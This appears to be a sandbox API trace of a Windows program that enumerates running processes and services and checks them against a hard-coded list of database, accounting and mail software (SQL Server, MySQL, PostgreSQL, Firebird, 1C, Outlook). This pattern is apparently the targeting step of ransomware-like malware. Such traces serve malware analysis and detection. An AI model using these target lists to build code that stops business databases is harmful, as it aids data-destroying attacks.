	[0261.806] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0261.806] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0261.806] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0261.806] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0261.806] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0261.806] lstrlenW (lpString="smss.exe") returned 8
	[0261.806] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0261.806] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0261.806] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0261.806] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0261.806] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0261.806] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0261.806] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0261.806] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0261.807] lstrlenW (lpString="csrss.exe") returned 9
	[0261.807] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0261.807] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0261.807] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0261.807] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0261.807] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0261.807] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0261.807] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0261.807] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0261.807] lstrlenW (lpString="wininit.exe") returned 11
	[0261.807] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0261.807] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0261.807] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0261.807] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0261.807] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0261.807] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0261.807] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0261.807] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0261.808] lstrlenW (lpString="csrss.exe") returned 9
	[0261.808] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0261.808] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0261.808] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0261.808] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0261.808] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0261.808] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0261.808] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0261.808] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0261.808] lstrlenW (lpString="winlogon.exe") returned 12
	[0261.808] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0261.808] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0261.808] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0261.808] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0261.808] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0261.808] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0261.808] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0261.808] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0261.808] lstrlenW (lpString="services.exe") returned 12
	[0261.809] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0261.809] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0261.809] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0261.809] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0261.809] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0261.809] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0261.809] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0261.809] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0261.809] lstrlenW (lpString="lsass.exe") returned 9
	[0261.809] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0261.809] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0261.809] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0261.809] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0261.809] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0261.809] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0261.809] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0261.809] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0261.809] lstrlenW (lpString="lsm.exe") returned 7
	[0261.809] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0261.810] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0261.810] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0261.810] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0261.810] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0261.810] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0261.810] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0261.810] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.810] lstrlenW (lpString="svchost.exe") returned 11
	[0261.810] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0261.810] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0261.810] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0261.810] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0261.810] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0261.810] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0261.810] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0261.810] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.810] lstrlenW (lpString="svchost.exe") returned 11
	[0261.810] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0261.810] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0261.811] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.811] lstrlenW (lpString="svchost.exe") returned 11
	[0261.811] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0261.811] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.811] lstrlenW (lpString="svchost.exe") returned 11
	[0261.811] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0261.811] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0261.812] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0261.812] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0261.812] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0261.812] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.812] lstrlenW (lpString="svchost.exe") returned 11
	[0261.812] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0261.812] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0261.812] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0261.812] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0261.812] lstrlenW (lpString="audiodg.exe") returned 11
	[0261.812] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.813] lstrlenW (lpString="svchost.exe") returned 11
	[0261.813] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0261.813] lstrlenW (lpString="userinit.exe") returned 12
	[0261.813] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0261.813] lstrlenW (lpString="explorer.exe") returned 12
	[0261.813] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0261.813] lstrlenW (lpString="dwm.exe") returned 7
	[0261.813] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.814] lstrlenW (lpString="svchost.exe") returned 11
	[0261.814] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0261.814] lstrlenW (lpString="swpesp.exe") returned 10
	[0261.814] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0261.814] lstrlenW (lpString="spoolsv.exe") returned 11
	[0261.814] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0261.814] lstrlenW (lpString="taskhost.exe") returned 12
	[0261.815] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0261.815] lstrlenW (lpString="svchost.exe") returned 11
	[0261.815] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0261.815] lstrlenW (lpString="reader_sl.exe") returned 13
	[0261.815] Process32NextW (in: hSnapshot=0x354, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0261.815] CloseHandle (hObject=0x354) returned 1
	[0261.815] Sleep (dwMilliseconds=0x1f4) 
	[0262.467] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280928
	[0262.647] EnumServicesStatusExW (in: hSCManager=0x4280928, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0262.664] GetLastError () returned 0xea
	[0262.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc9a) returned 0x41f5d68
	[0262.664] EnumServicesStatusExW (in: hSCManager=0x4280928, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xc9a, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0262.664] CloseServiceHandle (hSCObject=0x4280928) returned 1
	[0262.664] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0262.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0262.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0262.665] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0262.665] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0262.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0262.665] lstrlenW (lpString="AudioSrv") returned 8
	[0262.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0262.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0262.665] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0262.665] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0262.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0262.665] lstrlenW (lpString="BFE") returned 3
	[0262.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0262.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0262.665] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0262.665] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0262.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0262.665] lstrlenW (lpString="CryptSvc") returned 8
	[0262.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0262.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0262.665] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0262.665] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0262.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0262.665] lstrlenW (lpString="CscService") returned 10
	[0262.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0262.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0262.665] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0262.665] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0262.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0262.665] lstrlenW (lpString="DcomLaunch") returned 10
	[0262.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0262.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0262.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0262.666] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0262.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0262.666] lstrlenW (lpString="Dhcp") returned 4
	[0262.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0262.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0262.666] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0262.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0262.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0262.666] lstrlenW (lpString="Dnscache") returned 8
	[0262.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0262.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0262.666] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0262.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0262.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0262.666] lstrlenW (lpString="DPS") returned 3
	[0262.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0262.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0262.666] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0262.666] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0262.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0262.666] lstrlenW (lpString="eventlog") returned 8
	[0262.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0262.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0262.666] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0262.666] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0262.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0262.666] lstrlenW (lpString="EventSystem") returned 11
	[0262.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0262.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0262.666] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0262.666] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0262.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0262.667] lstrlenW (lpString="gpsvc") returned 5
	[0262.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0262.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0262.667] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0262.667] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0262.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0262.667] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0262.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0262.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0262.667] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0262.667] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0262.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0262.667] lstrlenW (lpString="lmhosts") returned 7
	[0262.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0262.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0262.667] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0262.667] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0262.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0262.667] lstrlenW (lpString="MMCSS") returned 5
	[0262.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0262.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0262.667] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0262.667] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0262.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0262.667] lstrlenW (lpString="MpsSvc") returned 6
	[0262.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0262.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0262.667] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0262.667] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0262.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0262.667] lstrlenW (lpString="NlaSvc") returned 6
	[0262.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0262.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0262.668] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0262.668] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0262.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0262.668] lstrlenW (lpString="nsi") returned 3
	[0262.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0262.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0262.668] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0262.668] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0262.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0262.668] lstrlenW (lpString="PcaSvc") returned 6
